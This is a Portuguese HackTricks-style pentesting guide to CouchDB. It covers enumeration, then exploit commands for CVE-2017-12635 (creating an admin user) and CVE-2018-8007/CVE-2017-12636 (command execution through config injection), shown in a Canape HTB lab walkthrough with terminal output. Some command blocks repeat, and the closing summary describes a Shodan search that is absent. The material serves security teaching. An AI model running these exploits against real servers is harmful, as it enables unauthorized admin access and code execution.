21 KiB
5984,6984 - Pentesting CouchDB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Informações Básicas
CouchDB é um banco de dados orientado a documentos e em cada documento os campos são armazenados como mapas de chave-valor. Os campos podem ser um par chave/valor simples, lista ou mapa.
Cada documento armazenado no banco de dados recebe um identificador único de nível de documento (_id
) e um número de revisão (_rev
) para cada alteração que é feita e salva no banco de dados.
Porta padrão: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Enumeração Automática
Nmap
O Nmap pode ser usado para identificar a porta padrão do CouchDB (5984) e verificar se o serviço está em execução.
nmap -p 5984 <target>
CouchDB API
O CouchDB possui uma API REST que pode ser usada para obter informações sobre o banco de dados. A API pode ser acessada em http://<target>:5984/_utils/
.
Fauxton
O Fauxton é uma interface da web para o CouchDB que pode ser usada para visualizar e gerenciar bancos de dados. Ele pode ser acessado em http://<target>:5984/_utils/
.
CouchDB User Enumeration
O CouchDB permite que os usuários sejam criados com nomes de usuário e senhas. A enumeração de usuários pode ser realizada enviando uma solicitação GET para http://<target>:5984/_users/_all_docs
. Isso retornará uma lista de todos os usuários do CouchDB.
CouchDB Database Enumeration
A enumeração de bancos de dados pode ser realizada enviando uma solicitação GET para http://<target>:5984/_all_dbs
. Isso retornará uma lista de todos os bancos de dados do CouchDB.
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Enumeração Manual
Banner
curl http://IP:5984/
Isso emite uma solicitação GET para a instância instalada do CouchDB. A resposta deve se parecer com uma das seguintes:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Note que se ao acessar a raiz do couchdb você receber um 401 Unauthorized
com algo como: {"error":"unauthorized","reason":"Authentication required."}
você não poderá acessar o banner ou qualquer outro endpoint.
{% endhint %}
Enumeração de Informações
Estes são os endpoints onde você pode acessar com uma requisição GET e extrair algumas informações interessantes. Você pode encontrar mais endpoints e descrições mais detalhadas na documentação do couchdb.
/_active_tasks
Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.- **
/_all_dbs
** Retorna uma lista de todos os bancos de dados na instância do CouchDB. - **
/_cluster_setup
** Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster. /_db_updates
Retorna uma lista de todos os eventos do banco de dados na instância do CouchDB. A existência do banco de dados_global_changes
é necessária para usar este endpoint./_membership
Exibe os nós que fazem parte do cluster comocluster_nodes
. O campoall_nodes
exibe todos os nós que este nó conhece, incluindo aqueles que fazem parte do cluster./_scheduler/jobs
Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas./_scheduler/docs
Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estadoscompleted
efailed
. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino e outras informações./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
O endpoint/_node/{node-name}
pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar/_node/_local
para recuperar essas informações./_node/{node-name}/_stats
O recurso_stats
retorna um objeto JSON contendo as estatísticas do servidor em execução. A string literal_local
serve como um alias para o nome do nó local, então para todas as URLs de estatísticas,{node-name}
pode ser substituído por_local
, para interagir com as estatísticas do nó local./_node/{node-name}/_system
O recurso _system retorna um objeto JSON contendo várias estatísticas de nível do sistema para o servidor em execução. Você pode usar ___local
como {node-name} para obter informações do nó atual./_node/{node-name}/_restart
/_up
Confirma que o servidor está funcionando e pronto para responder a solicitações. Semaintenance_mode
fortrue
ounolb
, o endpoint retornará uma resposta 404.- **
/_uuids
** Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância do CouchDB. - **
/_reshard
** Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de resharding no cluster.
Mais informações interessantes podem ser extraídas conforme explicado aqui: https://lzone.de/cheat-sheet/CouchDB
Lista de Bancos de Dados
curl -X GET http://IP:5984/_all_dbs
Se a solicitação responder com um erro 401 não autorizado, então você precisa de credenciais válidas para acessar o banco de dados:
curl -X GET http://user:password@IP:5984/_all_dbs
Para encontrar Credenciais válidas, você pode tentar realizar uma força bruta no serviço.
Este é um exemplo de resposta do couchdb quando você tem privilégios suficientes para listar bancos de dados (é apenas uma lista de bancos de dados):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Informações do Banco de Dados
Você pode obter algumas informações do banco de dados (como número de arquivos e tamanhos) acessando o nome do banco de dados:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista de Documentos
Lista cada entrada dentro de um banco de dados.
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Ler Documento
Leia o conteúdo de um documento dentro de um banco de dados:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Escalação de Privilégios do CouchDB CVE-2017-12635
Graças às diferenças entre os analisadores JSON do Erlang e do JavaScript, você pode criar um usuário administrador com as credenciais hacktricks:hacktricks
com a seguinte solicitação:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Mais informações sobre essa vulnerabilidade aqui.
RCE do CouchDB
Cookie do Erlang
Na documentação do CouchDB, na seção de configuração de cluster, fala sobre as diferentes portas usadas pelo CouchDB:
O CouchDB no modo cluster usa a porta
5984
assim como em modo standalone, mas também usa a porta5986
para APIs locais do nó.O Erlang usa a porta TCP
4369
(EPMD) para encontrar outros nós, então todos os servidores devem ser capazes de se comunicar nesta porta. Em um cluster Erlang, todos os nós estão conectados a todos os outros nós. Uma malha.
E então há um aviso interessante:
Se olharmos na lista de processos, podemos ver o cookie, "monster":
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Você pode ler esta seção para aprender como abusar dos cookies do Erlang para obter RCE.
Além disso, você pode ler alguns writeups da máquina Canape HTB como este para ver e praticar como explorar essa vulnerabilidade.
CVE-2018-8007 bem-sucedido com permissões de gravação em local.ini
Ao escrever este post, descobri que um novo CVE havia sido lançado para o CouchDB pela mdsec, CVE-2018-8007. Ele também requer gravações no arquivo local.ini
, portanto, não é uma opção útil para Canape. Mas como já o tornamos gravável como root, vamos ver se podemos fazê-lo funcionar.
Comece com um local.ini
limpo e agora gravável (e um backup):
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Podemos usar o curl para modificar as origens no arquivo local.ini
. A vulnerabilidade aqui é que se usarmos o curl para colocar uma nova origem e, em seguida, novas linhas, podemos escrever coisas adicionais, incluindo um novo cabeçalho e detalhes. Então, vamos aproveitar o campo [os_daemons]
e adicionar um processo para o CouchDB tentar continuar executando:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
No shell raiz, podemos ver quais mudanças:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
E ainda assim, o arquivo não está lá:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
Se olharmos para os processos em execução com "couchdb" na linha de comando, veremos não apenas a linha de comando que nos dá o valor do cookie que usamos anteriormente, mas também runsrv couchdb
:
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
Se matarmos esse processo, ele volta imediatamente (observe o novo pid):
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
E, ao reiniciar, executa os OS_Daemons:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Tentativa bem-sucedida via CVE-2017-12636 com permissões de gravação em local.ini
CVE-2017-12636 permite a execução de código por meio do processo couchdb. No entanto, isso não funcionará nesta configuração.
Existem alguns POCs disponíveis como referência:
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913/
Precisamos escrever um novo query_server e, em seguida, invocá-lo. Quando Canape foi lançado, a maioria dos POCs era para o couchdb 1.x, mas esta caixa está executando o 2, portanto, o caminho query_servers da maioria dos POCs não existe. Isso mudou agora, mas seguiremos os mesmos passos. Primeiro, obtenha a versão e mostre que o caminho 1.X não existe:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
Atualize com o novo caminho para 2.0:
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
A partir daí, devemos adicionar um query_server e depois invocá-lo, mas não conseguimos.
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
Algumas pesquisas mostram que este é um problema de permissões. Na verdade, se verificarmos com o nosso shell root, podemos ver que o arquivo local.ini
não é gravável por ninguém, muito menos www-data:
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
Então, isso é um beco sem saída para o Canape. Mas se quisermos tentar fazê-lo funcionar, podemos torná-lo legível com nosso acesso root ou homer e continuar por este caminho. Faremos um backup do original para que possamos ver quais mudanças foram feitas:
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
Agora, voltando para nossa shell www-data:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
Obtemos de volta o valor anterior para o servidor de consulta cmd, o que significa sucesso. E no shell raiz, podemos ver que funcionou:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
Agora, deveríamos ser capazes de criar um banco de dados, e então um documento nesse banco de dados, e solicitar com uma visualização que mapeia nosso query_server para obter a execução.
Criar banco de dados e documento:
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
Solicite-o em uma visualização:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
Resumo
Este artigo apresenta informações sobre como realizar testes de penetração em bancos de dados CouchDB. O artigo começa com uma pesquisa no Shodan para encontrar instâncias do CouchDB em execução na porta 5984. Em seguida, o artigo apresenta referências para análise de vulnerabilidades e execução de comandos no CouchDB.